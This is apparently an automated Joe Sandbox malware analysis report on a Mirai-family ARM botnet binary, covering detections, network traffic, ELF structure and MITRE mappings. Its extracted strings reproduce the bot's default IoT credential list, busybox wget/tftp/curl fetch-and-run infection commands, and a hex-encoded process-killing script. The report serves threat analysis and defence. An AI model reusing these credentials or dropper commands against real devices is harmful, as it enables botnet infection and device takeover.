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Linux Analysis Report
la.bot.arm7.elf

Overview

General Information

Sample name:	la.bot.arm7.elf
Analysis ID:	1541756
MD5:	ea1b6eb2a1967f13867b8fa862898de8
SHA1:	7cebafd9d816764de9cfa9089f7f5ff1cd2f4313
SHA256:	028842ad1258253eb217c79e7b099a28e584e8d2c0e97ad37b42b3909517b040
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1541756
Start date and time:	2024-10-25 05:23:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	la.bot.arm7.elf
Detection:	MAL
Classification:	mal60.troj.linELF@0/0@3/0

Runtime Messages

Command:	/tmp/la.bot.arm7.elf
PID:	5439
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	thIs wEek on xLaB lEarNs nOthinG xd
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

la.bot.arm7.elf (PID: 5439, Parent: 5364, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/la.bot.arm7.elf

la.bot.arm7.elf New Fork (PID: 5467, Parent: 5439)

la.bot.arm7.elf New Fork (PID: 5472, Parent: 5439)

la.bot.arm7.elf New Fork (PID: 5476, Parent: 5472)

cleanup

Yara Signatures

⊘No yara matches

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: la.bot.arm7.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: la.bot.arm7.elf	ReversingLabs: Detection: 36%
Source: la.bot.arm7.elf	Virustotal: Detection: 35%			Perma Link

Source: la.bot.arm7.elf	String: ash\|login\|wget\|curl\|tftp\|ntpdate
Source: la.bot.arm7.elf	String: ash\|login\|wget\|curl\|tftp\|ntpdate\|ftp
Source: la.bot.arm7.elf	String: /proc//exe\|ash\|login\|wget\|curl\|tftp\|ntpdate/mountinfo/fd/dev/null\|/dev/consolesocket\|proc/usr/bin/usr/sbin/system/mnt/mtd/app/org/z/zbin/home/app/dvr/bin/duksan/userfs/mnt/app/usr/etc/dvr/main/usr/local/var/bin/tmp/sqfs/z/bin/dvr/mnt/mtd/zconf/gm/bin/home/process/var/challenge/usr/lib/lib/systemd//usr/lib/systemd/system/system/bin//mnt//home/helper/home/davinci/usr/libexec//sbin//bin//proc/net/tcp/proc/fd//proc/ash\|login\|wget\|curl\|tftp\|ntpdate\|ftp/maps/lib//proc/self/exe/dev/watchdog/dev/misc/watchdogtelnetd\|udhcpc\|ntpclient\|boa\|httpd\|mini_http\|watchdog\|pppdM
Source: la.bot.arm7.elf	String: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var/tmp//dev//dev/shm//etc//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63\x2F\x2A\3B""\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A\x20\x20\x23\x20\x53\x6B\x69\x70\x20\x6E\x6F\x6E\x2D""\x6E\x75\x6D\x65\x72\x69\x63\x20\x64\x69\x72\x65\x63\x74\x6F\x72\x69\x65\x73\x0A\x20\x20\x69\x66\x20\x21\x20\x5B\x20\x22\x24\x70\x69\x64\x22\x20\x2D\x65""\x71\x20\x22\x24\x70\x69\x64\x22\x20\x5D\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x63\x6F\x6E\x74""\x69\x6E\x75\x65\x0A\x20\x20\x66\x69\x0A\x0A\x20\x20\x23\x20\x47\x65\x74\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x6F\x66""\x20\x74\x68\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x0A\x20\x20\x63\x6D\x64\x6C\x69\x6E\x65\x3D\x24\x28\x74\x72\x20\x27\x5C\x30\x27\x20\x27\x20\x27\x20\x3C""\x20\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x63\x6D\x64\x6C\x69\x6E\x65\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x23""\x20\x43\x68\x65\x63\x6B\x20\x69\x66\x20\x74\x68\x65\x20\x63\x6F\x6D\x6D\x61\x6E\x64\x20\x6C\x69\x6E\x65\x20\x63\x6F\x6E\x74\x61\x69\x6E\x73\x20\x22\x64""\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x0A\x20\x20\x69\x66\x20\x65\x63\x68\x6F\x20\x22\x24\x63\x6D\x64\x6C\x69\x6E\x65\x22\x20\x7C\x20\x67\x72\x65\x70\x20\x2D""\x71\x20\x22\x64\x76\x72\x48\x65\x6C\x70\x65\x72\x22\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64""\x22\x0A\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Networking

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 38.54.122.172 ports 3,4,6,7,9,49376

Source: global traffic

TCP traffic: 192.168.2.13:50564 -> 38.54.122.172:49376

Source: /tmp/la.bot.arm7.elf (PID: 5439)

Socket: 127.0.0.1:1234

Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 38.54.122.172
Source: unknown	TCP traffic detected without corresponding DNS query: 38.54.122.172
Source: unknown	TCP traffic detected without corresponding DNS query: 38.54.122.172
Source: unknown	TCP traffic detected without corresponding DNS query: 38.54.122.172
Source: unknown	TCP traffic detected without corresponding DNS query: 38.54.122.172
Source: unknown	TCP traffic detected without corresponding DNS query: 38.54.122.172
Source: unknown	UDP traffic detected without corresponding DNS query: 54.36.111.116
Source: unknown	UDP traffic detected without corresponding DNS query: 116.203.104.203
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: 75cents.libre
Source: global traffic	DNS traffic detected: DNS query: daisy.ubuntu.com

Source: la.bot.arm7.elf	String found in binary or memory: http:///curl.sh
Source: la.bot.arm7.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname FICORA
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrep
Source: Initial sample	String containing 'busybox' found: usage: busyboxincorrectinvalidbadwrongfaildeniederrorretryGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > upnp
Source: Initial sample	String containing 'busybox' found: rootPon521Zte521root621vizxvoelinux123wabjtamZxic521tsgoingon123456xc3511solokeydefaulta1sev5y7c39khkipc2016unisheenFireituphslwificam5upjvbzd1001chinsystemzlxx.admin7ujMko0vizxv1234horsesantslqxc12345xmhdipcicatch99founder88xirtamtaZz@01/*6.=_ja12345t0talc0ntr0l4!7ujMko0admintelecomadminipcam_rt5350juantech1234dreamboxIPCam@swzhongxinghi3518hg2x0dropperipc71aroot123telnetipcamgrouterGM8182200808263ep5w2uadmin123admin1234admin@123BrAhMoS@15GeNeXiS@19firetide2601hxservicepasswordsupportadmintelnetadminadmintelecomguestftpusernobodydaemon1cDuLJ7ctlJwpbo6S2fGqNFsOxhlwSG8lJwpbo6tluafedvstarcam201520150602supporthikvisione8ehomeasbe8ehomee8telnetcisco/bin/busyboxenableshellshlinuxshellping ;sh/bin/busybox hostname FICORA/bin/busybox echo > .ri && sh .ri && cd .ntpfsh .ntpf/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x upnp; ./upnp; ./.ffdfd selfrepwEek/var//var/run//var

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal60.troj.linELF@0/0@3/0

Source: /tmp/la.bot.arm7.elf (PID: 5439)	File opened: /proc/11/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5439)	File opened: /proc/22/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5439)	File opened: /proc/55/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5439)	File opened: /proc/66/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5439)	File opened: /proc/88/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5439)	File opened: /proc/99/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5439)	File opened: /proc/111/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5439)	File opened: /proc/222/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5439)	File opened: /proc/333/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5439)	File opened: /proc/33333/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5439)	File opened: /proc/777/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5439)	File opened: /proc/888/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5439)	File opened: /proc/11111/maps	Jump to behavior
Source: /tmp/la.bot.arm7.elf (PID: 5439)	File opened: /proc/999/maps	Jump to behavior

Source: submitted sample

Stderr: qemu: uncaught target signal 11 (Segmentation fault) - core dumped: exit code = 0

Source: /tmp/la.bot.arm7.elf (PID: 5439)

Queries kernel information via 'uname':

Jump to behavior

Source: la.bot.arm7.elf, 5439.1.00007ffd1e9f5000.00007ffd1ea16000.rw-.sdmp, la.bot.arm7.elf, 5467.1.00007ffd1e9f5000.00007ffd1ea16000.rw-.sdmp, la.bot.arm7.elf, 5476.1.00007ffd1e9f5000.00007ffd1ea16000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/la.bot.arm7.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/la.bot.arm7.elf
Source: la.bot.arm7.elf, 5439.1.00005603d0165000.00005603d02b3000.rw-.sdmp, la.bot.arm7.elf, 5467.1.00005603d0165000.00005603d02b3000.rw-.sdmp, la.bot.arm7.elf, 5476.1.00005603d0165000.00005603d02b3000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: la.bot.arm7.elf, 5439.1.00007ffd1e9f5000.00007ffd1ea16000.rw-.sdmp, la.bot.arm7.elf, 5467.1.00007ffd1e9f5000.00007ffd1ea16000.rw-.sdmp, la.bot.arm7.elf, 5476.1.00007ffd1e9f5000.00007ffd1ea16000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: la.bot.arm7.elf, 5439.1.00005603d0165000.00005603d02b3000.rw-.sdmp, la.bot.arm7.elf, 5467.1.00005603d0165000.00005603d02b3000.rw-.sdmp, la.bot.arm7.elf, 5476.1.00005603d0165000.00005603d02b3000.rw-.sdmp	Binary or memory string: V!/etc/qemu-binfmt/arm
Source: la.bot.arm7.elf, 5467.1.00007ffd1e9f5000.00007ffd1ea16000.rw-.sdmp, la.bot.arm7.elf, 5476.1.00007ffd1e9f5000.00007ffd1ea16000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
la.bot.arm7.elf	37%	ReversingLabs	Linux.Backdoor.Mirai
la.bot.arm7.elf	35%	Virustotal		Browse
la.bot.arm7.elf	100%	Avira	LINUX/GM.Mirai.LV

Dropped Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
daisy.ubuntu.com	0%	Virustotal		Browse

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
daisy.ubuntu.com	162.213.35.24	true	false	0%, Virustotal, Browse	unknown
75cents.libre	unknown	unknown	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	la.bot.arm7.elf	false		unknown
http:///curl.sh	la.bot.arm7.elf	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
38.54.122.172	unknown	United States		174	COGENT-174US	true
116.203.104.203	unknown	Germany		24940	HETZNER-ASDE	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
38.54.122.172	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse
116.203.104.203	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Unknown	Browse
	na.elf	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
daisy.ubuntu.com	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	la.bot.arm6.elf	Get hash	malicious	Unknown	Browse	162.213.35.25
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	la.bot.mips.elf	Get hash	malicious	Unknown	Browse	162.213.35.24
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	162.213.35.24

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
HETZNER-ASDE	http://www.thegioimoicau.com/	Get hash	malicious	Unknown	Browse	168.119.2.148
	msvcp110.dll	Get hash	malicious	Stealc	Browse	95.217.125.57
	Setup_v1.29.exe	Get hash	malicious	Stealc	Browse	95.217.125.57
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	94.130.253.79
	https://tronlkam8s2.z13.web.core.windows.net	Get hash	malicious	TechSupportScam	Browse	195.201.57.90
	http://tronlkam8s2.z13.web.core.windows.net	Get hash	malicious	TechSupportScam	Browse	195.201.57.90
	https://8jkfw9cqp7ep.z13.web.core.windows.net/?zpbid=78432_55610c1d-9229-11ef-824f-03718b6de7bb#	Get hash	malicious	HTMLPhisher, TechSupportScam	Browse	195.201.57.90
	Payment for outstanding statements.pdf	Get hash	malicious	HTMLPhisher	Browse	144.76.38.184
	o2YUBeMZW6.elf	Get hash	malicious	Mirai	Browse	94.130.241.80
	ai3eCONS9Q.elf	Get hash	malicious	Mirai	Browse	95.217.66.133
COGENT-174US	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	206.1.120.251
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	149.104.184.243
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	38.231.38.16
	http://elliottconnie.com/	Get hash	malicious	Unknown	Browse	143.244.187.11
	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	149.95.183.237
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	206.6.85.167
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	38.138.22.18
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	149.86.215.72
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	38.47.99.135
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	38.225.151.107

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.072489339687536
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	la.bot.arm7.elf
File size:	93'888 bytes
MD5:	ea1b6eb2a1967f13867b8fa862898de8
SHA1:	7cebafd9d816764de9cfa9089f7f5ff1cd2f4313
SHA256:	028842ad1258253eb217c79e7b099a28e584e8d2c0e97ad37b42b3909517b040
SHA512:	a954cc67def3c57493d707dceeeb520a6c199e7bc003f53a1602bb3c5e4d55afe5067e7d01780a87684b41d366e2b4d5320f18c325b73e6e8dc134195dc027d3
SSDEEP:	1536:a0nTpOEjPKPAft0vZJVq5fU51E/Ejq5LAdcKKS4horsxEuAwIe/Wl/5i42wkiFpQ:DnjPKPAft6qhU5vjyLAzKS4horsxEuAP
TLSH:	D993E78AF981DE16D5D816BEFE0E528D332367A8E3DF7203DD246B1427CA55B0A6B401
File Content Preview:	.ELF..............(.........4...hl......4. ...(........phg..h...h....................................h...h...............h...h...h..t....s...............h...h...h..................Q.td..................................-...L..................@-.,@...0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8194
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	5
Section Header Offset:	93288
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Link	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0	0
.init	PROGBITS	0x80d4	0xd4	0x10	0x0	0x6	AX	0	4
.text	PROGBITS	0x80f0	0xf0	0x146f0	0x0	0x6	AX	0	16
.fini	PROGBITS	0x1c7e0	0x147e0	0x10	0x0	0x6	AX	0	4
.rodata	PROGBITS	0x1c7f0	0x147f0	0x1f60	0x0	0x2	A	0	4
.ARM.extab	PROGBITS	0x1e750	0x16750	0x18	0x0	0x2	A	0	4
.ARM.exidx	ARM_EXIDX	0x1e768	0x16768	0x118	0x0	0x82	AL	2	4
.eh_frame	PROGBITS	0x26880	0x16880	0x4	0x0	0x3	WA	0	4
.tbss	NOBITS	0x26884	0x16884	0x8	0x0	0x403	WAT	0	4
.init_array	INIT_ARRAY	0x26884	0x16884	0x4	0x0	0x3	WA	0	4
.fini_array	FINI_ARRAY	0x26888	0x16888	0x4	0x0	0x3	WA	0	4
.got	PROGBITS	0x26890	0x16890	0xa8	0x4	0x3	WA	0	4
.data	PROGBITS	0x26938	0x16938	0x2bc	0x0	0x3	WA	0	4
.bss	NOBITS	0x26bf4	0x16bf4	0x7034	0x0	0x3	WA	0	4
.shstrtab	STRTAB	0x0	0x16bf4	0x73	0x0	0x0		0	1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
EXIDX	0x16768	0x1e768	0x1e768	0x118	0x118	4.4828	0x4	R	0x4	.ARM.exidx
LOAD	0x0	0x8000	0x8000	0x16880	0x16880	6.0864	0x5	R E	0x8000	.init .text .fini .rodata .ARM.extab .ARM.exidx
LOAD	0x16880	0x26880	0x26880	0x374	0x73a8	4.3455	0x6	RW	0x8000	.eh_frame .tbss .init_array .fini_array .got .data .bss
TLS	0x16884	0x26884	0x26884	0x0	0x8	0.0000	0x4	R	0x4	.tbss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2024 05:24:02.529383898 CEST	50564	49376	192.168.2.13	38.54.122.172
Oct 25, 2024 05:24:02.535046101 CEST	49376	50564	38.54.122.172	192.168.2.13
Oct 25, 2024 05:24:02.535191059 CEST	50564	49376	192.168.2.13	38.54.122.172
Oct 25, 2024 05:24:02.535284042 CEST	50564	49376	192.168.2.13	38.54.122.172
Oct 25, 2024 05:24:02.540640116 CEST	49376	50564	38.54.122.172	192.168.2.13
Oct 25, 2024 05:24:17.550474882 CEST	50564	49376	192.168.2.13	38.54.122.172
Oct 25, 2024 05:24:17.555926085 CEST	49376	50564	38.54.122.172	192.168.2.13
Oct 25, 2024 05:24:50.736175060 CEST	49376	50564	38.54.122.172	192.168.2.13
Oct 25, 2024 05:24:50.736934900 CEST	50564	49376	192.168.2.13	38.54.122.172
Oct 25, 2024 05:25:50.768867016 CEST	50564	49376	192.168.2.13	38.54.122.172
Oct 25, 2024 05:25:50.774686098 CEST	49376	50564	38.54.122.172	192.168.2.13

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 25, 2024 05:24:01.777347088 CEST	33699	53	192.168.2.13	54.36.111.116
Oct 25, 2024 05:24:01.806902885 CEST	53470	5353	192.168.2.13	116.203.104.203
Oct 25, 2024 05:24:02.527271986 CEST	5353	53470	116.203.104.203	192.168.2.13
Oct 25, 2024 05:24:03.434112072 CEST	60056	53	192.168.2.13	1.1.1.1
Oct 25, 2024 05:24:03.434241056 CEST	60111	53	192.168.2.13	1.1.1.1
Oct 25, 2024 05:24:03.441829920 CEST	53	60056	1.1.1.1	192.168.2.13
Oct 25, 2024 05:24:03.441848040 CEST	53	60111	1.1.1.1	192.168.2.13

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Oct 25, 2024 05:24:01.783289909 CEST	54.36.111.116	192.168.2.13	6583	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 25, 2024 05:24:01.777347088 CEST	192.168.2.13	54.36.111.116	0xb6b8	Standard query (0)	75cents.libre	A (IP address)	IN (0x0001)	false
Oct 25, 2024 05:24:03.434112072 CEST	192.168.2.13	1.1.1.1	0x2f6a	Standard query (0)	daisy.ubuntu.com	A (IP address)	IN (0x0001)	false
Oct 25, 2024 05:24:03.434241056 CEST	192.168.2.13	1.1.1.1	0xb59b	Standard query (0)	daisy.ubuntu.com	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 25, 2024 05:24:03.441829920 CEST	1.1.1.1	192.168.2.13	0x2f6a	No error (0)	daisy.ubuntu.com		162.213.35.24	A (IP address)	IN (0x0001)	false
Oct 25, 2024 05:24:03.441829920 CEST	1.1.1.1	192.168.2.13	0x2f6a	No error (0)	daisy.ubuntu.com		162.213.35.25	A (IP address)	IN (0x0001)	false

System Behavior

Analysis Process: la.bot.arm7.elf PID: 5439, Parent PID: 5364

General

Start time (UTC):	03:23:59
Start date (UTC):	25/10/2024
Path:	/tmp/la.bot.arm7.elf
Arguments:	/tmp/la.bot.arm7.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: la.bot.arm7.elf PID: 5467, Parent PID: 5439

General

Start time (UTC):	03:24:01
Start date (UTC):	25/10/2024
Path:	/tmp/la.bot.arm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: la.bot.arm7.elf PID: 5472, Parent PID: 5439

General

Start time (UTC):	03:24:01
Start date (UTC):	25/10/2024
Path:	/tmp/la.bot.arm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Chronological Activities

Analysis Process: la.bot.arm7.elf PID: 5476, Parent PID: 5472

General

Start time (UTC):	03:24:01
Start date (UTC):	25/10/2024
Path:	/tmp/la.bot.arm7.elf
Arguments:	-
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
